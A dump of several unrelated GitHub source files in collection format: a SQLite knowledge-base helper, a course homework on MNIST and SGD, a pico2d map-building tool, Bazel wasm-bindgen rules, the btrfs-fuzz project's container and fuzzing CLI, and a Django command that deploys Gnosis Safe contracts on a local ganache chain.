domain)\n    query = '''insert into topics (name, domain) values (?,?)'''\n    c.execute(query, (topic,domain))\n    conn.commit()\n\n    query = '''select topic_id from topics where name=?'''\n    c.execute(query, (topic,))\n    data = c.fetchall()\n    topic_id = data[0][0]\n    \n    query = '''insert into knowledge (domain, topic , problem, solution) values (?,?,?,?)'''\n    c.execute(query, (domain_id, topic_id, problem, solution))\n    conn.commit()\n    print(\"!! new knowledge added !\")\n\ndef change_knowledge(domain, topic, problem, solution):\n    database = \"knowledge.db\"\n    conn = connect_to_db(database)\n    c = conn.cursor()\n    query = '''select domain_id from domains where name=?'''\n    c.execute(query, (domain,))\n    data = c.fetchall()\n    try:\n        domain_id = data[0][0]\n    except:\n        print(\"error with data, data = \", data)\n        print(\"error with data, name to be found = \", domain)\n\n    query = '''select topic_id from topics where name=?'''\n    c.execute(query, (topic,))\n    data = c.fetchall()\n    topic_id = data[0][0]\n    \n    query= '''update topics set domain=? where topic_id=?'''\n    c.execute(query, (domain, topic_id))\n    conn.commit()\n    \n    \n    query= '''update knowledge set domain=?, problem=?, solution =? where topic=?'''\n    c.execute(query, (domain_id, problem, solution, topic_id))\n    conn.commit()\n    print(\"!! Knowledge updated !\")\n\ndef clear_table_knowledge():\n    database = \"knowledge.db\"\n    conn = connect_to_db(database)\n    c = conn.cursor()\n    query = '''delete from knowledge;'''\n    c.execute(query)\n    conn.commit()\n    print(\"** Table knowledge CLEARED **\")\n\ndef clear_table_topics():\n    database = \"knowledge.db\"\n    conn = connect_to_db(database)\n    c = conn.cursor()\n    query = '''delete from topics where topic_id>=0;'''\n    c.execute(query)\n    conn.commit()\n    print(\"** Table topics CLEARED **\")\n\ndef get_1_topic(topic):\n    output = {}\n    output[\"topic\"] = topic\n    output[\"problem\"] = \"temp_problem\"\n    output[\"solution\"] = \"temp_solution\"\n    database = \"knowledge.db\"\n    conn = connect_to_db(database)\n    c = conn.cursor()\n    query = \"select topic_id from topics where name=?\"\n    c.execute(query,(topic,))\n    data = c.fetchone()\n    topic_id = data[0]\n    query = \"select domain, problem, solution from knowledge where topic=?\"\n    c.execute(query,(topic_id,))\n    data = c.fetchone()\n    domain_id = data[0]\n    query = \"select name from domains where domain_id=?\"\n    c.execute(query,(domain_id,))\n    data2 = c.fetchone()\n    output[\"domain\"] = data2[0]\n    output[\"problem\"] = data[1]\n    output[\"solution\"] = data[2]\n    print(\"*>\", output)\n    return output\n\ndef topics_filtered(domain):\n    output = []\n    database = \"knowledge.db\"\n    conn = connect_to_db(database)\n    c = conn.cursor()\n    print(\"***** domain:\", domain)\n    if domain:\n        query = \"select name from topics where domain=?\"\n        c.execute(query,(domain,))\n        data = c.fetchall()\n        print(\"*5\", data)\n    else:\n        query = \"select name from topics\"\n        c.execute(query)\n        data = c.fetchall()\n    if data:\n        for d in data:\n            output.append(d[0])\n        print(\"output:\",output)\n    print(\"*3\", output)\n    return output\n\ndef topics_searched(search_str):\n    output = []\n    database = \"knowledge.db\"\n    conn = connect_to_db(database)\n    c = conn.cursor()\n    query = \"select name from topics\"\n    c.execute(query)\n    data = c.fetchall()\n    if data:\n        for d in data:\n            topic = d[0]\n\n            if search_str.casefold() in topic.casefold():\n                output.append(topic)\n        print(\"output:\",output)\n\n    return output\n\ndef fix():\n    database = \"knowledge.db\"\n    conn = connect_to_db(database)\n    c = conn.cursor()\n    \n    query = \"select * from topics\"\n    c.execute(query)\n    data = c.fetchall()\n    for d in data:\n        print(d[0], \" - \", d[1], \" - \", d[2])\n\n    #query = '''delete from topics where name=\"SQL Query not working\"'''\n    #c.execute(query)\n    #conn.commit()\n    #query = '''delete from knowledge where topic=2'''\n    #c.execute(query)\n    #query = '''delete from knowledge where topic=5'''\n    #c.execute(query)\n    #query = '''delete from knowledge where topic=7'''\n    #c.execute(query)\n    #conn.commit()","repo_name":"Alexico1969/coding-knowledgebase","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":9154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"11686627725","text":"import struct\nimport gzip\nimport numpy as np\n\nimport sys\nsys.path.append('python/')\nimport needle as ndl\nfrom needle.ops import exp, log, relu, matmul\nfrom needle.autograd import Tensor\n\ndef parse_mnist(image_filename, label_filename):\n    \"\"\" Read an images and labels file in MNIST format.  See this page:\n    http://yann.lecun.com/exdb/mnist/ for a description of the file format.\n\n    Args:\n        image_filename (str): name of gzipped images file in MNIST format\n        label_filename (str): name of gzipped labels file in MNIST format\n\n    Returns:\n        Tuple (X,y):\n            X (numpy.ndarray[np.float32]): 2D numpy array containing the loaded\n                data.  The dimensionality of the data should be\n                (num_examples x input_dim) where 'input_dim' is the full\n                dimension of the data, e.g., since MNIST images are 28x28, it\n                will be 784.  Values should be of type np.float32, and the data\n                should be normalized to have a minimum value of 0.0 and a\n                maximum value of 1.0.\n\n            y (numpy.ndarray[dypte=np.int8]): 1D numpy array containing the\n                labels of the examples.  Values should be of type np.int8 and\n                for MNIST will contain the values 0-9.\n    \"\"\"\n    ### BEGIN YOUR SOLUTION\n    with gzip.open(image_filename, \"rb\") as f:\n        image = f.read()\n        X = np.frombuffer(image, dtype=np.uint8, offset=16).astype(np.float32)\n        X = X / 255\n        X = np.reshape(X, (-1, 784))\n\n    with gzip.open(label_filename, \"rb\") as f:\n        label = f.read()\n        y = np.frombuffer(label, dtype=np.uint8, offset=8)\n    return (X, y)\n    ### END YOUR SOLUTION\n\n\ndef softmax_loss(Z, y_one_hot):\n    \"\"\" Return softmax loss.  Note that for the purposes of this assignment,\n    you don't need to worry about \"nicely\" scaling the numerical properties\n    of the log-sum-exp computation, but can just compute this directly.\n\n    Args:\n        Z (ndl.Tensor[np.float32]): 2D Tensor of shape\n            (batch_size, num_classes), containing the logit predictions for\n            each class.\n        y (ndl.Tensor[np.int8]): 2D Tensor of shape (batch_size, num_classes)\n            containing a 1 at the index of the true label of each example and\n            zeros elsewhere.\n\n    Returns:\n        Average softmax loss over the sample. (ndl.Tensor[np.float32])\n    \"\"\"\n    ### BEGIN YOUR SOLUTION\n    # return np.mean(-Z[np.indices(y_one_hot.shape)[0], y_one_hot] + np.log(np.sum(np.exp(Z), axis=1)))\n    n = Z.shape[0]\n    x = exp(Z).sum(1)\n    y = log(x).sum()\n    z = (Z * y_one_hot).sum()\n    loss = y - z\n    return loss / n\n    ### END YOUR SOLUTION\n\n\ndef nn_epoch(X, y, W1, W2, lr = 0.1, batch=100):\n    \"\"\" Run a single epoch of SGD for a two-layer neural network defined by the\n    weights W1 and W2 (with no bias terms):\n        logits = ReLU(X * W1) * W1\n    The function should use the step size lr, and the specified batch size (and\n    again, without randomizing the order of X).\n\n    Args:\n        X (np.ndarray[np.float32]): 2D input array of size\n            (num_examples x input_dim).\n        y (np.ndarray[np.uint8]): 1D class label array of size (num_examples,)\n        W1 (ndl.Tensor[np.float32]): 2D array of first layer weights, of shape\n            (input_dim, hidden_dim)\n        W2 (ndl.Tensor[np.float32]): 2D array of second layer weights, of shape\n            (hidden_dim, num_classes)\n        lr (float): step size (learning rate) for SGD\n        batch (int): size of SGD mini-batch\n\n    Returns:\n        Tuple: (W1, W2)\n            W1: ndl.Tensor[np.float32]\n            W2: ndl.Tensor[np.float32]\n    \"\"\"\n\n    ### BEGIN YOUR SOLUTION\n    sample_num = X.shape[0]\n    iter_num = sample_num // batch\n    \"\"\"\n    50, 5 matmul 5, 10 -> 50, 10\n    50, 10 matmul 10, 3 -> 50, 3\n    \"\"\"\n    num_classes = W2.shape[1]\n    for iter in range(iter_num):\n        iter_x = X[iter * batch: (iter+1) * batch, :]\n        iter_y = y[iter * batch: (iter+1) * batch]\n        img = Tensor(iter_x)\n        label = np.zeros((batch, num_classes))\n        label[range(batch), iter_y] = 1\n        label = Tensor(label)\n        z = ndl.matmul(ndl.relu(ndl.matmul(img, W1)), W2)\n        loss = softmax_loss(z, label)\n        loss.backward()\n        new_W1 = Tensor(W1.numpy() - lr * W1.grad.numpy())\n        new_W2 = Tensor(W2.numpy() - lr * W2.grad.numpy())\n        W1, W2 = new_W1, new_W2\n    return (W1, W2)\n    ### END YOUR SOLUTION\n\n\n### CODE BELOW IS FOR ILLUSTRATION, YOU DO NOT NEED TO EDIT\n\ndef loss_err(h,y):\n    \"\"\" Helper function to compute both loss and error\"\"\"\n    y_one_hot = np.zeros((y.shape[0], h.shape[-1]))\n    y_one_hot[np.arange(y.size), y] = 1\n    y_ = ndl.Tensor(y_one_hot)\n    return softmax_loss(h,y_).numpy(), np.mean(h.numpy().argmax(axis=1) != y)\n","repo_name":"MARD1NO/LearnDLSysCourse","sub_path":"hw1/apps/simple_ml.py","file_name":"simple_ml.py","file_ext":"py","file_size_in_byte":4812,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"}
+{"seq_id":"19174831743","text":"import InputManager\nimport random\nfrom object import *\nfrom pico2d import *\nfrom share import *\n\nimage = None\nerror_image = None\nis_able_to_create = True\nwidth, height = 80, 80  #opengl에서 x, z 크기\n\n\ndef init():\n    global image, error_image\n    image = load_image('building.png')\n    error_image = load_image('building_error.png')\n\n\nclass Building(Object):\n    def __init__(self, x, y, img):\n        super().__init__(x, y, width, height, img)\n        self.d = random.randint(100, 350)\n        self.type = Object.BUILDING\n\n\ndef update(objectList):\n    global is_able_to_create\n    mul = Camera.GetMul(WIDTH, HEIGHT)\n    wx, wy = Camera.GetWorldPos(InputManager.mouseX / mul, InputManager.mouseY / mul)\n\n    # 다른 건물과 겹치거나 맵을 벗어날 때 금지\n    if wx - width / 2 < 0 or wx + width / 2 > mapW or wy - height / 2 < 0 or wy + height / 2 > mapH:\n        is_able_to_create = False\n    else:\n        isCollision = False\n        for o in objectList:\n            if o.type != Object.BUILDING: continue\n            if o.x + o.w / 2 < wx - width / 2 or o.x - o.w / 2 > wx + width / 2:\n                continue\n            if o.y + o.h / 2 < wy - height / 2 or o.y - o.h / 2 > wy + height / 2:\n                continue\n            isCollision = True\n            break\n\n        is_able_to_create = not isCollision\n\n\ndef draw():\n    mul = Camera.GetMul(WIDTH, HEIGHT)\n    cx, cy = InputManager.mouseX, InputManager.mouseY\n    if is_able_to_create:\n        image.draw(cx, cy, width * mul, height * mul)\n    else:\n        error_image.draw(cx, cy, width * mul, height * mul)\n\n\ndef add(objectList):\n    if is_able_to_create:\n        mul = Camera.GetMul(WIDTH, HEIGHT)\n        wx, wy = Camera.GetWorldPos(InputManager.mouseX / mul, InputManager.mouseY / mul)\n        objectList.append(Building(wx, wy, image))\n","repo_name":"jayong93/FlightGame","sub_path":"maptool/building.py","file_name":"building.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71506384082","text":"load(\"//rust:defs.bzl\", \"rust_common\")\nload(\n    \"//wasm_bindgen:providers.bzl\",\n    \"DeclarationInfo\",\n    \"JSModuleInfo\",\n)\nload(\"//wasm_bindgen/private:transitions.bzl\", \"wasm_bindgen_transition\")\n\n_WASM_BINDGEN_DOC = \"\"\"\\\nGenerates javascript and typescript bindings for a webassembly module using [wasm-bindgen][ws].\n\n[ws]: https://rustwasm.github.io/docs/wasm-bindgen/\n\nTo use the Rust WebAssembly bindgen rules, add the following to your `WORKSPACE` file to add the\nexternal repositories for the Rust bindgen toolchain (in addition to the Rust rules setup):\n\n```python\nload(\"@rules_rust//wasm_bindgen:repositories.bzl\", \"rust_wasm_bindgen_repositories\")\n\nrust_wasm_bindgen_repositories()\n```\n\nFor more details on `rust_wasm_bindgen_repositories`, see [here](#rust_wasm_bindgen_repositories).\n\nAn example of this rule in use can be seen at [@rules_rust//examples/wasm](../examples/wasm)\n\"\"\"\n\n_WASM_BINDGEN_TOOLCHAIN_DOC = \"\"\"\\\nThe tools required for the `rust_wasm_bindgen` rule.\n\nIn cases where users want to control or change the version of `wasm-bindgen` used by [rust_wasm_bindgen](#rust_wasm_bindgen),\na unique toolchain can be created as in the example below:\n\n```python\nload(\"@rules_rust//bindgen:bindgen.bzl\", \"rust_bindgen_toolchain\")\n\nrust_bindgen_toolchain(\n    bindgen = \"//3rdparty/crates:wasm_bindgen_cli__bin\",\n)\n\ntoolchain(\n    name = \"wasm_bindgen_toolchain\",\n    toolchain = \"wasm_bindgen_toolchain_impl\",\n    toolchain_type = \"@rules_rust//wasm_bindgen:toolchain_type\",\n)\n```\n\nNow that you have your own toolchain, you need to register it by\ninserting the following statement in your `WORKSPACE` file:\n\n```python\nregister_toolchains(\"//my/toolchains:wasm_bindgen_toolchain\")\n```\n\nFor additional information, see the [Bazel toolchains documentation][toolchains].\n\n[toolchains]: https://docs.bazel.build/versions/master/toolchains.html\n\"\"\"\n\ndef _rust_wasm_bindgen_impl(ctx):\n    toolchain = ctx.toolchains[Label(\"//wasm_bindgen:wasm_bindgen_toolchain\")]\n    bindgen_bin = toolchain.bindgen\n\n    # Since the `wasm_file` attribute is behind a transition, it will be converted\n    # to a list.\n    if len(ctx.attr.wasm_file) == 1 and rust_common.crate_info in ctx.attr.wasm_file[0]:\n        target = ctx.attr.wasm_file[0]\n        crate_info = target[rust_common.crate_info]\n\n        # Provide a helpful warning informing users how to use the rule\n        if rust_common.crate_info in target:\n            supported_types = [\"cdylib\", \"bin\"]\n            if crate_info.type not in supported_types:\n                fail(\"The target '{}' is not a supported type: {}\".format(\n                    ctx.attr.crate.label,\n                    supported_types,\n                ))\n\n        progress_message_label = target.label\n        input_file = crate_info.output\n    else:\n        progress_message_label = ctx.file.wasm_file.path\n        input_file = ctx.file.wasm_file\n\n    bindgen_wasm_module = ctx.actions.declare_file(ctx.attr.name + \"_bg.wasm\")\n\n    js_out = [ctx.actions.declare_file(ctx.attr.name + \".js\")]\n    ts_out = [ctx.actions.declare_file(ctx.attr.name + \".d.ts\")]\n\n    if ctx.attr.target == \"bundler\":\n        js_out.append(ctx.actions.declare_file(ctx.attr.name + \"_bg.js\"))\n        ts_out.append(ctx.actions.declare_file(ctx.attr.name + \"_bg.wasm.d.ts\"))\n\n    outputs = [bindgen_wasm_module] + js_out + ts_out\n\n    args = ctx.actions.args()\n    args.add(\"--target\", ctx.attr.target)\n    args.add(\"--out-dir\", bindgen_wasm_module.dirname)\n    args.add(\"--out-name\", ctx.attr.name)\n    args.add_all(ctx.attr.bindgen_flags)\n    args.add(input_file)\n\n    ctx.actions.run(\n        executable = bindgen_bin,\n        inputs = [input_file],\n        outputs = outputs,\n        mnemonic = \"RustWasmBindgen\",\n        progress_message = \"Generating WebAssembly bindings for {}...\".format(progress_message_label),\n        arguments = [args],\n    )\n\n    # Return a structure that is compatible with the deps[] of a ts_library.\n    declarations = depset(ts_out)\n    es5_sources = depset(js_out)\n\n    return [\n        DefaultInfo(\n            files = depset(outputs),\n        ),\n        DeclarationInfo(\n            declarations = declarations,\n            transitive_declarations = declarations,\n            type_blocklisted_declarations = depset([]),\n        ),\n        JSModuleInfo(\n            direct_sources = es5_sources,\n            sources = es5_sources,\n        ),\n    ]\n\nrust_wasm_bindgen = rule(\n    implementation = _rust_wasm_bindgen_impl,\n    doc = _WASM_BINDGEN_DOC,\n    attrs = {\n        \"bindgen_flags\": attr.string_list(\n            doc = \"Flags to pass directly to the bindgen executable. See https://github.com/rustwasm/wasm-bindgen/ for details.\",\n        ),\n        \"target\": attr.string(\n            doc = \"The type of output to generate. See https://rustwasm.github.io/wasm-bindgen/reference/deployment.html for details.\",\n            default = \"bundler\",\n            values = [\"web\", \"bundler\", \"nodejs\", \"no-modules\", \"deno\"],\n        ),\n        \"wasm_file\": attr.label(\n            doc = \"The `.wasm` file or crate to generate bindings for.\",\n            allow_single_file = True,\n            cfg = wasm_bindgen_transition,\n            mandatory = True,\n        ),\n        \"_allowlist_function_transition\": attr.label(\n            default = Label(\"//tools/allowlists/function_transition_allowlist\"),\n        ),\n    },\n    toolchains = [\n        str(Label(\"//wasm_bindgen:wasm_bindgen_toolchain\")),\n    ],\n    incompatible_use_toolchain_transition = True,\n)\n\ndef _rust_wasm_bindgen_toolchain_impl(ctx):\n    return platform_common.ToolchainInfo(\n        bindgen = ctx.executable.bindgen,\n    )\n\nrust_wasm_bindgen_toolchain = rule(\n    implementation = _rust_wasm_bindgen_toolchain_impl,\n    doc = _WASM_BINDGEN_TOOLCHAIN_DOC,\n    attrs = {\n        \"bindgen\": attr.label(\n            doc = \"The label of a `wasm-bindgen-cli` executable.\",\n            executable = True,\n            cfg = \"exec\",\n        ),\n    },\n)\n","repo_name":"bazelbuild/rules_rust","sub_path":"wasm_bindgen/wasm_bindgen.bzl","file_name":"wasm_bindgen.bzl","file_ext":"bzl","file_size_in_byte":5952,"program_lang":"python","lang":"en","doc_type":"code","stars":568,"dataset":"github-code","pt":"3"}
+{"seq_id":"20532878172","text":"#!/bin/python3\n\nimport argparse\nimport os\nimport pathlib\nimport shutil\nimport subprocess\nimport sys\n\nimport src.manager as manager\n\nDOCKER_IMAGE_REMOTE = \"dxuu/btrfs-fuzz\"\nDOCKER_IMAGE_LOCAL = \"localhost/btrfs-fuzz\"\n\n\ndef sh(cmd):\n    try:\n        subprocess.run(cmd, shell=True, check=True)\n    except subprocess.CalledProcessError as e:\n        sys.exit(1)\n\n\n# Docker tends to freak out if a directory begins with `_`\ndef sanitize_docker_dir(dir):\n    if dir[0] == \"/\":\n        return dir\n    else:\n        return \"./\" + dir\n\n\ndef cmd_build(args):\n    if args.buildah:\n        tool = \"buildah\"\n    else:\n        tool = \"podman\"\n\n    if args.remote:\n        sh(f\"{tool} pull {DOCKER_IMAGE_REMOTE}\")\n    else:\n        if args.buildah:\n            tool += \" build-using-dockerfile\"\n            tool += \" --runtime $(which runc)\"\n        else:\n            tool += \" build\"\n\n        build_args = \"\"\n        if args.kernel_repo:\n            build_args += f\"--build-arg KERNEL_REPO={args.kernel_repo} \"\n\n        if args.kernel_branch:\n            build_args += f\"--build-arg KERNEL_BRANCH={args.kernel_branch} \"\n\n        sh(f\"{tool} {build_args} -t btrfs-fuzz .\")\n\n\ndef cmd_build_tar(args):\n    # First build the latest image\n    if not args.no_build:\n        cmd_build(args)\n\n    tmpname = \"btrfs-fuzz-tmp\"\n\n    if args.zstd and not args.file.endswith(\".tzst\"):\n        args.file = args.file + \".tzst\"\n    elif not args.file.endswith(\".tar\"):\n        args.file = args.file + \".tar\"\n\n    c = [\"podman export\"]\n    c.append(\"$(\")\n    c.append(\"podman create --name\")\n    c.append(tmpname)\n\n    if args.remote:\n        c.append(DOCKER_IMAGE_REMOTE)\n    else:\n        c.append(DOCKER_IMAGE_LOCAL)\n\n    c.append(\"/bin/true\")\n    c.append(\")\")\n\n    if args.zstd:\n        c.append(\"|\")\n        c.append(\"zstd\")\n        c.append(\"-f\")\n\n    # Both `podman export` and zstd take the `-o OUTPUT` flag\n    c.append(\"-o\")\n    c.append(args.file)\n\n    sh(\" \".join(c))\n    sh(f\"podman rm {tmpname}\")\n\n\ndef cmd_run(args):\n    print(\"Starting btrfs-fuzz\")\n\n    if args.remote:\n        img = DOCKER_IMAGE_REMOTE\n    else:\n        img = DOCKER_IMAGE_LOCAL\n\n    nspawn = False\n    if args.fs_dir:\n        # Must be root to use systemd-nspawn\n        if os.geteuid() != 0:\n            print(\"--fs-dir requires root\")\n            return\n\n        img = args.fs_dir\n        nspawn = True\n\n    state_dir = sanitize_docker_dir(args.state_dir)\n\n    m = manager.Manager(img, state_dir, nspawn=nspawn, parallel=args.parallel)\n    m.run()\n\n\ndef cmd_shell(args):\n    c = [\"podman run\"]\n    c.append(\"-it\")\n    c.append(\"--privileged\")\n\n    if args.state_dir:\n        c.append(f\"-v {sanitize_docker_dir(args.state_dir)}:/state\")\n\n    if args.remote:\n        c.append(DOCKER_IMAGE_REMOTE)\n    else:\n        c.append(DOCKER_IMAGE_LOCAL)\n\n    sh(\" \".join(c))\n\n\ndef cmd_seed(args):\n    if pathlib.Path(args.state_dir).exists():\n        print(f\"{args.state_dir} already exists, noop-ing\")\n        return\n\n    pathlib.Path.mkdir(pathlib.Path(f\"{args.state_dir}/input\"), parents=True)\n    pathlib.Path.mkdir(pathlib.Path(f\"{args.state_dir}/output\"))\n    pathlib.Path.mkdir(pathlib.Path(f\"{args.state_dir}/known_crashes\"))\n\n    # Generate raw image\n    image_path = pathlib.Path(f\"{args.state_dir}/input/image\")\n    with open(image_path, \"wb\") as i:\n        # 120 MB is just about the minimum size for a raw btrfs image\n        i.truncate(120 << 20)\n\n        sh(f\"mkfs.btrfs {image_path}\")\n\n    # Compress raw image into a new file and then remove the raw image\n    compressed_image_path = f\"{args.state_dir}/input/img_compressed\"\n    sh(f\"cargo run --bin imgcompress -- compress {image_path} {compressed_image_path}\")\n    sh(f\"rm {image_path}\")\n\n    # Copy files from checked in corpus over too\n    corpus_files = os.listdir(\"./corpus\")\n    for f in corpus_files:\n        assert f.endswith(\".zst\")\n        raw_fname = f[:-4]\n        raw_path = f\"{args.state_dir}/input/{raw_fname}\"\n        assert raw_path.endswith(\".raw\")\n        compressed_fname = raw_fname[:-4]\n        compressed_path = f\"{args.state_dir}/input/{compressed_fname}\"\n\n        sh(f\"zstd -d ./corpus/{f} -o {raw_path}\")\n        sh(f\"cargo run -p imgcompress compress -- {raw_path} {compressed_path}\")\n        sh(f\"rm {raw_path}\")\n\n    # Write a readme to describe what each directory contains\n    readme_path = pathlib.Path(f\"{args.state_dir}/README\")\n    with open(readme_path, \"w\") as f:\n        content = \"This directory holds all the state for a fuzzing session.\\n\\n\"\n        content += \"Each subdirectory contains as follows:\\n\\n\"\n        content += (\n            \"known_crashes: test cast images that are known to cause a kernel panic\\n\"\n        )\n        content += \"input: afl++ input directory\\n\"\n        content += \"output: afl++ output directory\\n\"\n        f.write(content)\n\n\ndef cmd_repro(args):\n    import pexpect\n\n    print(f\"Reproducing {args.image}\")\n\n    # Share the entire directory containing the image under test\n    image_dir = str(pathlib.Path(args.image).parent)\n    if image_dir[0] != \"/\":\n        # Necessary so docker doesn't freak out\n        image_dir = \"./\" + image_dir\n\n    image_fname = str(pathlib.Path(args.image).name)\n\n    c = [\"podman run\"]\n    c.append(\"-it\")\n    c.append(\"--privileged\")\n    c.append(f\"-v {image_dir}:/state\")\n\n    if args.remote:\n        c.append(DOCKER_IMAGE_REMOTE)\n    else:\n        c.append(DOCKER_IMAGE_LOCAL)\n\n    p = pexpect.spawn(\" \".join(c), encoding=\"utf-8\")\n    p.expect(\"root@.*#\")\n    p.sendline('/bin/bash -c \"echo core > /proc/sys/kernel/core_pattern\"')\n\n    c = []\n    c.append(\"/btrfs-fuzz/runner\")\n    c.append(f\"< /state/{image_fname}\")\n\n    p.expect(\"root@.*#\")\n\n    if args.exit:\n        # Send child output to stdout\n        p.logfile_read = sys.stdout\n        p.sendline(\" \".join(c))\n\n        p.expect(\"root@.*#\")\n\n        # `C-a x` to exit qemu\n        p.sendcontrol(\"a\")\n        p.send(\"x\")\n    else:\n        p.sendline(\" \".join(c))\n\n        # Give control back to terminal\n        p.interact()\n\n\ndef cmd_push(args):\n    c = [\"podman push\"]\n    c.append(DOCKER_IMAGE_LOCAL)\n    c.append(f\"docker://docker.io/{DOCKER_IMAGE_REMOTE}:latest\")\n\n    sh(\" \".join(c))\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        prog=\"x\", formatter_class=argparse.ArgumentDefaultsHelpFormatter\n    )\n    parser.add_argument(\"--remote\", action=\"store_true\", help=\"Use remote docker image\")\n    parser.set_defaults(func=lambda _: parser.print_help())\n\n    subparsers = parser.add_subparsers(help=\"subcommands\")\n\n    build = subparsers.add_parser(\"build\", help=\"build btrfs-fuzz components\")\n    build.add_argument(\n        \"-b\",\n        \"--buildah\",\n        action=\"store_true\",\n        help=\"Use buildah to build image\",\n    )\n    build.add_argument(\n        \"--kernel-repo\",\n        type=str,\n        help=\"Kernel repo to clone\",\n    )\n    build.add_argument(\n        \"--kernel-branch\",\n        type=str,\n        help=\"Kernel branch to build from\",\n    )\n    build.set_defaults(func=cmd_build)\n\n    build_tar = subparsers.add_parser(\n        \"build-tar\", help=\"build btrfs-fuzz image into a tarball\"\n    )\n    build_tar.add_argument(\n        \"file\",\n        type=str,\n        help=\"Filename for output tarball\",\n    )\n    build_tar.add_argument(\n        \"--zstd\",\n        action=\"store_true\",\n        help=\"zstd compress archive\",\n    )\n    build_tar.add_argument(\n        \"--no-build\",\n        action=\"store_true\",\n        help=\"Do not rebuild image if stale\",\n    )\n    build_tar.add_argument(\n        \"-b\",\n        \"--buildah\",\n        action=\"store_true\",\n        help=\"Use buildah to build image\",\n    )\n    build_tar.set_defaults(func=cmd_build_tar)\n\n    run = subparsers.add_parser(\"run\", help=\"run fuzzer\")\n    run.add_argument(\n        \"-s\",\n        \"--state-dir\",\n        type=str,\n        default=\"./_state\",\n        help=\"Shared state directory between host and VM, mounted in VM at \"\n        \"/state. The directory must contain `input` and `output` \"\n        \"subdirectories, with `input` containing initial test cases.\",\n    )\n    run.add_argument(\n        \"-f\",\n        \"--fs-dir\",\n        type=str,\n        help=\"Use systemd-nspawn instead of docker to run container. \"\n        \"The provided argument is the directory to use as filesystem \"\n        \"root (typically generated by `build-tar`). Requires root. \"\n        \"When active, --remote is ignored.\",\n    )\n    run.add_argument(\n        \"--parallel\",\n        type=int,\n        help=\"Fuzz in parallel on PARALLEL # of cpus. -1 means all cpus.\",\n    )\n    run.set_defaults(func=cmd_run)\n\n    shell = subparsers.add_parser(\"shell\", help=\"start shell in VM\")\n    shell.add_argument(\n        \"-s\",\n        \"--state-dir\",\n        type=str,\n        default=\"./_state\",\n        help=\"Shared state directory between host and VM, mounted in VM at /state\",\n    )\n    shell.set_defaults(func=cmd_shell)\n\n    seed = subparsers.add_parser(\"seed\", help=\"seed input corpus\")\n    seed.add_argument(\n        \"-s\",\n        \"--state-dir\",\n        type=str,\n        default=\"./_state\",\n        help=\"Shared state directory between host and VM\",\n    )\n    seed.set_defaults(func=cmd_seed)\n\n    repro = subparsers.add_parser(\"repro\", help=\"reproduce a test case\")\n    repro.add_argument(\n        \"image\",\n        type=str,\n        help=\"btrfs filesystem image to test against (must be imgcompress-compressed)\",\n    )\n    repro.add_argument(\n        \"--exit\",\n        action=\"store_true\",\n        help=\"Exit VM after repro runs (useful for scripting)\",\n    )\n    repro.set_defaults(func=cmd_repro)\n\n    push = subparsers.add_parser(\"push\", help=\"push local image to docker hub\")\n    push.set_defaults(func=cmd_push)\n\n    help = subparsers.add_parser(\"help\", help=\"print help\")\n    help.set_defaults(func=lambda _: parser.print_help())\n\n    args = parser.parse_args()\n    args.func(args)\n\n\nif __name__ == \"__main__\":\n    proj_dir = pathlib.Path(__file__).parent\n    os.chdir(proj_dir)\n\n    main()\n","repo_name":"danobi/btrfs-fuzz","sub_path":"x.py","file_name":"x.py","file_ext":"py","file_size_in_byte":9938,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"}
+{"seq_id":"37272043555","text":"from django.conf import settings\nfrom django.core.management.base import BaseCommand\n\nfrom eth_account import Account\n\nfrom gnosis.eth import EthereumClientProvider\nfrom gnosis.safe import ProxyFactory, Safe\n\n\nclass Command(BaseCommand):\n    help = 'Deploys master copy using first unlocked account on the node if `ganache -d` is found and contract ' \\\n           'is not deployed. If not you need to set a private key using `--deployer-key`'\n    GANACHE_FIRST_ACCOUNT_KEY = '0x4f3edf983ac636a65a842ce7c78d9aa706d3b113bce9c46f30d7d21715b23b1d'\n    DEFAULT_ACCOUNT = Account.from_key(GANACHE_FIRST_ACCOUNT_KEY)\n\n    def add_arguments(self, parser):\n        # Positional arguments\n        parser.add_argument('--deployer-key', help='Private key for deployer')\n\n    def handle(self, *args, **options):\n        ethereum_client = EthereumClientProvider()\n        deployer_key = options['deployer_key']\n        deployer_account = Account.from_key(deployer_key) if deployer_key else self.DEFAULT_ACCOUNT\n\n        master_copies_with_deploy_fn = {\n            settings.SAFE_CONTRACT_ADDRESS: Safe.deploy_master_contract,\n            settings.SAFE_V1_0_0_CONTRACT_ADDRESS: Safe.deploy_old_master_contract,\n            settings.SAFE_PROXY_FACTORY_ADDRESS: ProxyFactory.deploy_proxy_factory_contract,\n        }\n\n        for master_copy_address, deploy_fn in master_copies_with_deploy_fn.items():\n            self.stdout.write(self.style.SUCCESS(f'Checking if contract was already deployed on '\n                                                 f'{master_copy_address}'))\n            if ethereum_client.is_contract(master_copy_address):\n                self.stdout.write(self.style.NOTICE(f'Master copy was already deployed on {master_copy_address}'))\n            else:\n                self.stdout.write(self.style.SUCCESS(f'Deploying contract using deployer account, '\n                                                     f'address={master_copy_address} not found'))\n                master_copy_address = deploy_fn(ethereum_client, deployer_account=deployer_account).contract_address\n                self.stdout.write(self.style.SUCCESS(f'Contract has been deployed on {master_copy_address}'))\n","repo_name":"vaporyorg/safe-relay-service","sub_path":"safe_relay_service/relay/management/commands/deploy_safe_contracts.py","file_name":"deploy_safe_contracts.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
